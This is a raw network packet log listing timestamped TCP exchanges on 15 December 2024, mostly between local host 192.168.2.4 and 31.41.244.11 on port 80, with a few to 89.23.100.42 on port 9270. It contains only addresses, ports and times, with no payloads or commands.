Dec 15, 2024 11:59:31.834769964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.834815025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.834955931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.834996939 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.836091042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.836124897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.836127043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.836159945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.837158918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.837208033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.837290049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.837332010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.838236094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.838270903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.838278055 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.838304996 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.839603901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.839648962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.839776993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.839818954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.840667963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.840706110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.840847015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.840893030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.842010021 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.842044115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.842051983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.842082024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.843051910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.843092918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.843220949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.843255997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.844325066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.844367027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.844505072 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.844547033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.845338106 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.845379114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.845504999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.845546007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.846760035 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.846793890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.846796989 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.846834898 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.847815990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.847866058 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.847946882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.847986937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.848922014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.848963022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.849080086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.849121094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.850106955 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.850147963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.850272894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.850312948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.851305962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.851382971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.851476908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.851517916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.852200985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.852236986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.852243900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.852277040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.879426956 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:31.879491091 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:31.984308958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.984337091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.984378099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.984405041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.984677076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.984711885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.984724045 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.984751940 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.985441923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.985486984 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.985594988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.985639095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.986699104 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.986732960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.986741066 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.986774921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.987874985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.987909079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.987926006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.987958908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.988991022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.989026070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.989034891 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.989067078 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.990143061 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.990191936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.990289927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.990325928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.991493940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.991528988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.991539955 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.991565943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.992693901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.992727995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.992742062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.992768049 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.993916035 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.993951082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.993954897 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.993993998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.994884968 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.994927883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.995038033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.995079994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.996068001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.996114969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.996244907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.996288061 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.997348070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.997384071 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.997395992 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.997431993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.998487949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.998522043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.998529911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.998564005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.999516964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.999562979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.999686003 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.999727964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.000520945 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:32.000587940 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:32.000708103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.000752926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.000828028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.000863075 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.001965046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.002135038 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.002146006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.002181053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.003145933 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.003180981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.003189087 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.003221035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.004309893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.004350901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.004467010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.004511118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.005578041 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.005610943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.005623102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.005652905 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.006580114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.006623030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.006738901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.006778955 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.007834911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.007877111 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.007886887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.007926941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.008900881 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.008946896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.009094954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.009139061 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.010077000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.010123968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.010251999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.010289907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.011353970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.011395931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.011521101 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.011563063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.012083054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.012116909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.012125969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.012155056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.012631893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.012676954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.012723923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.012763977 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.015889883 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.015943050 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.016043901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.016161919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.016916990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.016951084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.016961098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.016992092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.017251015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.017296076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.017417908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.017458916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.018392086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.018425941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.018435955 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.018471956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.019439936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.019484043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.019575119 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.019618034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.020720959 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.020756006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.020766020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.020801067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.022062063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.022095919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.022108078 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.022151947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.023089886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.023123026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.023132086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.023163080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.024251938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.024286032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.024291039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.024327993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.025379896 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.025419950 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.025536060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.025582075 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.026549101 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.026596069 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.026720047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.026763916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.027715921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.027762890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.027861118 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.027899027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.028856993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.028899908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.029025078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.029071093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.030188084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.030232906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.030354977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.030400038 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.031385899 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.031419992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.031428099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.031456947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.032552004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.032587051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.032604933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.032622099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.033663034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.033709049 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.034018993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.034060001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.034759045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.034794092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.034804106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.034832954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.035873890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.035922050 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.036041975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.036087990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.037172079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.037205935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.037211895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.037246943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.038336992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.038384914 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.038466930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.038508892 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.039551020 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.039586067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.039594889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.039630890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.040668964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.040715933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.040832043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.040873051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.041809082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.041867018 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.041990042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.042032957 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.042992115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.043039083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.043155909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.043200970 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.044154882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.044190884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.044323921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.044363022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.045205116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.045244932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.121454000 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:32.121530056 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:32.176729918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.176791906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.176817894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.176860094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.176985025 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.177027941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.177123070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.177165985 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.178313971 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.178350925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.178365946 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.178390026 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.179378033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.179421902 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.179517031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.179553986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.180600882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.180644035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.180775881 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.180818081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.181823015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.181866884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.181999922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.182044983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.182960033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.183001041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.183140039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.183176994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.184202909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.184237957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.184256077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.184274912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.185324907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.185363054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.185486078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.185517073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.186534882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.186573029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.186578035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.186610937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.187558889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.187601089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.187719107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.187755108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.188734055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.188769102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.188910961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.188946962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.190107107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.190159082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.190239906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.190274954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.191333055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.191370010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.191374063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.191404104 CET	49805	80	192.168.2.4	31.41.244.11
